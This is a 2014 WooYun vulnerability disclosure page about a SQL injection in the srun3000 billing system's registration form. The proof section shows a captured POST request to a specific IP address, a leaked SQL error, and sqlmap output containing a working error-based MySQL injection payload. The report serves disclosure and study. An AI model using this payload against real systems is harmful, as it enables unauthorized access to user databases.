当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-067553

漏洞标题:srun3000计费系统 注入漏洞

相关厂商:srun.com

漏洞作者: xlz0iza1

提交时间:2014-07-08 11:35

修复时间:2014-10-03 11:36

公开时间:2014-10-03 11:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-08: 细节已通知厂商并且等待厂商处理中
2014-07-13: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-09-06: 细节向核心白帽子及相关领域专家公开
2014-09-16: 细节向普通白帽子公开
2014-09-26: 细节向实习白帽子公开
2014-10-03: 细节向公众公开

简要描述:

RT

详细说明:

挖得人还是挺多的啊。

SQL:SELECT count(*) FROM `user` WHERE user_login_name='1'' AND user_real_name='Smith'
error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Smith'' at line 1


从报错语句中可以看到,user_login_name、user_real_name俩个参数过滤不严导致直接导入查询语句。

QQ图片20140705192647.jpg

漏洞证明:

注册页面:

QQ图片20140705192845.jpg


POST抓包:

POST /index.php?action=userregister&ts=do_check HTTP/1.1
Host: 202.207.48.61:8800
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://202.207.48.61:8800/index.php?action=userregister&ts=do_check
Cookie: PHPSESSID=ksgess1mromfe2h33j1ba4hlp7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
user_login_name=111111&user_real_name=111111111111&submit=%CF%C2%D2%BB%B2%BD


SQLMAP注入:

ests:
---
Place: POST
Parameter: user_login_name
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: user_login_name=111' AND (SELECT 1743 FROM(SELECT COUNT(*),CONCAT(C
HAR(58,114,99,117,58),(SELECT (CASE WHEN (1743=1743) THEN 1 ELSE 0 END)),CHAR(58
,101,99,115,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
AND 'dYkK'='dYkK&user_real_name=111&submit=锟斤拷一锟斤拷
---
[19:20:55] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.22, PHP 5.5.3
back-end DBMS: MySQL 5.0


QQ图片20140705192956.jpg


修复方案:

通过前面友友们提交过的,可以大部分这俩个参数是没有做过处理的。

版权声明:转载请注明来源 xlz0iza1@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-10-03 11:36

厂商回复:

最新状态:

暂无